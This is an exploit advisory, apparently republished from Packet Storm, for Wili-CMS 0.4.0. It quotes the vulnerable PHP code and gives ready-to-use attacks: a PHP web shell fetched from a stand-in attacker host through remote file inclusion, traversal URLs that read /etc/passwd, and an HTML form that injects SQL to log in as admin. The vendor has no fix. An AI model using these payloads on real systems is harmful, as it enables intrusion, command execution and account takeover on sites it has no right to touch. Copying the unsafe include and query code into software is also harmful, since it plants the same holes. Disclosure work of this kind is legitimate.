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Wili-CMS 0.4.0 File Inclusion / Bypass

🗓️ 06 Mar 2009 00:00:00Reported by Salvatore FrestaType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 13 Views

Wili-CMS 0.4.0 File Inclusion / Bypass, Remote Code Execution, Authentication Bypas

Code
`******* Salvatore "drosophila" Fresta *******  
  
[+] Application: Wili-CMS  
[+] Version: 0.4.0  
[+] Website: http://wili-cms.sourceforge.net/  
  
[+] Bugs: [A] Multiple Remote/Local File Inclusion  
[B] Authentication Bypass  
  
[+] Exploitation: Remote  
[+] Date: 06 Mar 2009  
  
[+] Discovered by: Salvatore "drosophila" Fresta  
[+] Author: Salvatore "drosophila" Fresta  
[+] Contact: e-mail: [email protected]  
  
  
*************************************************  
  
[+] Menu  
  
1) Bugs  
2) Code  
3) Fix  
  
  
*************************************************  
  
[+] Bugs  
  
  
- [A] Multiple Remote/Local File Inclusion  
  
[-] Requisites: none  
[-] File affected: index.php  
  
This bug allows a guest to include remote and  
local files and however to exec remote commands.  
  
...  
  
if ( $globals['dbh'] && !pageExists( $globals['pageid']['pid'] ) ) {  
include( $globals['content_dir'].$globals['template_dir']."error404.php" );  
}  
  
...  
  
include( template_file( $globals['root_template'] ) );  
  
  
- [B] Authentication Bypass  
  
[-] Requisites: magic_quotes_gpc = off  
[-] File affected: lib/admin/init_session.php  
  
This bug allows a guest to login as admin.  
  
...  
  
$_SESSION['password'] = $_REQUEST['password'] ? $_REQUEST['password']  
: $_SESSION['password'];  
$globals['username'] = $_SESSION['uname'] = $_REQUEST['uname'] ?  
$_REQUEST['uname'] : $_SESSION['uname'];  
  
...  
  
$sth = mysql_query(  
"SELECT id  
FROM ".$globals['userstable']."  
WHERE username='".$_SESSION['uname']."'  
AND adminflag=1  
AND password=PASSWORD('".$_SESSION['password']."')", $globals['dbh'] );  
  
// password ok -> login  
if ( mysql_num_rows( $sth ) && ( $globals['uid'] = mysql_result($sth,0) ) ) {  
$globals['user'] = mysql_result( $userh = mysql_query( "SELECT id,  
skipwelcome FROM ".$globals['userstable']." WHERE  
username='".$globals['username']."'", $globals['dbh'] ),0,0);  
  
if ( $globals['admin_modus'] == "loggedin" ) {  
// log login  
db_addlog( "Logged in from ".getenv("REMOTE_ADDR") );  
// goto welcome page if skipwelcome flag of this user is not set  
if ( !(mysql_result( $userh, 0, 1 )) ) {  
$_REQUEST['npage'] = get_firstpage( "adminwelcome" );  
}  
$globals['admin_modus'] = "";  
}  
  
...  
  
  
*************************************************  
  
[+] Code  
  
  
- [A] Multiple Remote/Local File Inclusion  
  
shell.txt: <?php system($_GET['cmd']); ?>  
  
http://www.site.com/path/?npage=-1&content_dir=http://www.evilsite.com/shell.txt%00&cmd=ls  
http://www.site.com/path/?npage=1&content_dir=http://www.evilsite.com/shell.txt%00&cmd=ls  
  
http://www.site.com/path/?npage=-1&content_dir=../../../../etc/passwd%00  
http://www.site.com/path/?npage=1&content_dir=../../../../etc/passwd%00  
  
  
- [B] Authentication Bypass  
  
<html>  
<head>  
<title>Wili-CMS 0.4.0 Authentication Bypass Exploit</title>  
</head>  
<body>  
<form action="http://www.site.com/path/admin.php" method="POST">  
<input type="text" name="uname" value="admin">  
<input type="hidden" name="password" value="1') UNION ALL SELECT 1#">  
<input type="hidden" name="mode" value="loggedin">  
<input type="hidden" name="npage" value="1">  
<input type="submit" value="Exploit">  
</form>  
</body>  
</html>  
  
  
*************************************************  
  
[+] Fix  
  
No fix.  
  
  
*************************************************  
  
  
`

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